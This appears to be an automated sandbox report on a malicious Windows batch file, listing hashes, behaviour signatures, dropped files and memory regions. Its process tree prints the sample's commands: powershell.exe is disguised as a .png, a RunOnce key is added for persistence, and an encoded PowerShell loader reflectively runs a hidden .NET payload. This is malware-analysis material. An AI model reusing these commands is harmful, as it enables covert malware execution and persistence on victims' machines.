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Analysis

  • max time kernel
    143s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/08/2023, 14:23

General

  • Target

    39904d4c94621855d4c437a13cb547d9c9437e9854d369c5c77c8bc87e017903_JC.bat

  • Size

    190KB

  • MD5

    c1a32e443cca0bc04d2dc934d4b03589

  • SHA1

    58624017d54e2205f68b3866ddbf0c7d0f2f5f15

  • SHA256

    39904d4c94621855d4c437a13cb547d9c9437e9854d369c5c77c8bc87e017903

  • SHA512

    69576d38bc872e974c6b5234f338f2dd4873ac00b4229931b7f53073c9e22673196a04c5fa11c853c7fcaa78092c4fb578d13d43404fbcb9e2231a3adde09590

  • SSDEEP

    3072:WrE2UUsTMYHF1700nVuwW7TmgEmGNBKq/4NMP15u/ofcEFsl4bmM8tTnx:WrRUPPiwW7T3EfB//4NMP1CN4bQtTnx

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\39904d4c94621855d4c437a13cb547d9c9437e9854d369c5c77c8bc87e017903_JC.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3116
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:1224
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Flqpvb.png
        2⤵
          PID:3412
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo F "
          2⤵
            PID:1740
          • C:\Windows\system32\xcopy.exe
            xcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\39904d4c94621855d4c437a13cb547d9c9437e9854d369c5c77c8bc87e017903_JC.bat C:\Users\Admin\AppData\Local\Temp\Flqpvb.png.jpg
            2⤵
              PID:2684
            • C:\Windows\system32\xcopy.exe
              xcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\39904d4c94621855d4c437a13cb547d9c9437e9854d369c5c77c8bc87e017903_JC.bat C:\Users\Admin\AppData\Roaming\Flqpvb.bat
              2⤵
                PID:2840
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo F "
                2⤵
                  PID:972
                • C:\Windows\system32\reg.exe
                  reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v Flqpvb /d C:\Users\Admin\AppData\Roaming\Flqpvb.bat
                  2⤵
                  • Adds Run key to start application
                  PID:2844
                • C:\Users\Admin\AppData\Local\Temp\Flqpvb.png
                  C:\Users\Admin\AppData\Local\Temp\Flqpvb.png -win 1 -enc JABBAHMAYwBnAGEAdABlAGsAbgBtACAAPQAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEwAaQBuAGUAcwAoACgAKABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQApAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAC4AagBwAGcAIgApACwAIABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAApACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAGwAYQBzAHQAIAAxADsAIAAkAEMAbwB4AGsAdgBmAHUAYQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABBAHMAYwBnAGEAdABlAGsAbgBtACkAOwAkAFYAdwBzAHcAegBvAHcAZwBpAGEAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAQwBvAHgAawB2AGYAdQBhACAAKQA7ACQAbwB1AHQAcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAEYAYQB4AGkAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABWAHcAcwB3AHoAbwB3AGcAaQBhAGMALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAEYAYQB4AGkAcwAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQARgBhAHgAaQBzAC4AQwBsAG8AcwBlACgAKQA7ACQAVgB3AHMAdwB6AG8AdwBnAGkAYQBjAC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQAQwBvAHgAawB2AGYAdQBhACAAPQAgACQAbwB1AHQAcAB1AHQALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEMAbwB4AGsAdgBmAHUAYQApADsAIAAkAEgAYwBoAHEAbABiAHQAegBnAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAQwBvAHgAawB2AGYAdQBhACkAOwAgACQARQBtAGkAZwB5AGUAaQB4ACAAPQAgACQASABjAGgAcQBsAGIAdAB6AGcAcwAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQATwB2AG0AbQBkACAAPQAgACQASABjAGgAcQBsAGIAdAB6AGcAcwAuAEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQARQBtAGkAZwB5AGUAaQB4AC4ATgBhAG0AZQApADsAIAAkAEUAbQBpAGcAeQBlAGkAeAAuAEkAbgB2AG8AawBlACgAJABPAHYAbQBtAGQALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
                  2⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1200

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\Flqpvb.png

                Filesize

                423KB

                MD5

                c32ca4acfcc635ec1ea6ed8a34df5fac

                SHA1

                f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

                SHA256

                73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

                SHA512

                6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

              • C:\Users\Admin\AppData\Local\Temp\Flqpvb.png.jpg

                Filesize

                190KB

                MD5

                c1a32e443cca0bc04d2dc934d4b03589

                SHA1

                58624017d54e2205f68b3866ddbf0c7d0f2f5f15

                SHA256

                39904d4c94621855d4c437a13cb547d9c9437e9854d369c5c77c8bc87e017903

                SHA512

                69576d38bc872e974c6b5234f338f2dd4873ac00b4229931b7f53073c9e22673196a04c5fa11c853c7fcaa78092c4fb578d13d43404fbcb9e2231a3adde09590

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iieaeqlu.2ql.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Roaming\Flqpvb.bat

                Filesize

                190KB

                MD5

                c1a32e443cca0bc04d2dc934d4b03589

                SHA1

                58624017d54e2205f68b3866ddbf0c7d0f2f5f15

                SHA256

                39904d4c94621855d4c437a13cb547d9c9437e9854d369c5c77c8bc87e017903

                SHA512

                69576d38bc872e974c6b5234f338f2dd4873ac00b4229931b7f53073c9e22673196a04c5fa11c853c7fcaa78092c4fb578d13d43404fbcb9e2231a3adde09590

              • memory/1200-29-0x0000000002580000-0x0000000002590000-memory.dmp

                Filesize

                64KB

              • memory/1200-30-0x00000000076C0000-0x0000000007D3A000-memory.dmp

                Filesize

                6.5MB

              • memory/1200-15-0x0000000004E90000-0x0000000004EB2000-memory.dmp

                Filesize

                136KB

              • memory/1200-16-0x0000000004F30000-0x0000000004F96000-memory.dmp

                Filesize

                408KB

              • memory/1200-17-0x00000000056A0000-0x0000000005706000-memory.dmp

                Filesize

                408KB

              • memory/1200-13-0x0000000002590000-0x00000000025C6000-memory.dmp

                Filesize

                216KB

              • memory/1200-27-0x0000000005E70000-0x0000000005E8E000-memory.dmp

                Filesize

                120KB

              • memory/1200-12-0x0000000002580000-0x0000000002590000-memory.dmp

                Filesize

                64KB

              • memory/1200-11-0x00000000749C0000-0x0000000075170000-memory.dmp

                Filesize

                7.7MB

              • memory/1200-14-0x0000000005000000-0x0000000005628000-memory.dmp

                Filesize

                6.2MB

              • memory/1200-31-0x0000000006380000-0x000000000639A000-memory.dmp

                Filesize

                104KB

              • memory/1200-32-0x0000000007D40000-0x00000000082E4000-memory.dmp

                Filesize

                5.6MB

              • memory/1200-33-0x0000000007170000-0x0000000007202000-memory.dmp

                Filesize

                584KB

              • memory/1200-34-0x0000000002580000-0x0000000002590000-memory.dmp

                Filesize

                64KB

              • memory/1200-35-0x0000000007140000-0x000000000714A000-memory.dmp

                Filesize

                40KB

              • memory/1200-36-0x00000000749C0000-0x0000000075170000-memory.dmp

                Filesize

                7.7MB

              • memory/1200-37-0x0000000002580000-0x0000000002590000-memory.dmp

                Filesize

                64KB

              • memory/1200-38-0x0000000002580000-0x0000000002590000-memory.dmp

                Filesize

                64KB

              • memory/1200-39-0x0000000002580000-0x0000000002590000-memory.dmp

                Filesize

                64KB

              • memory/1200-40-0x0000000002580000-0x0000000002590000-memory.dmp

                Filesize

                64KB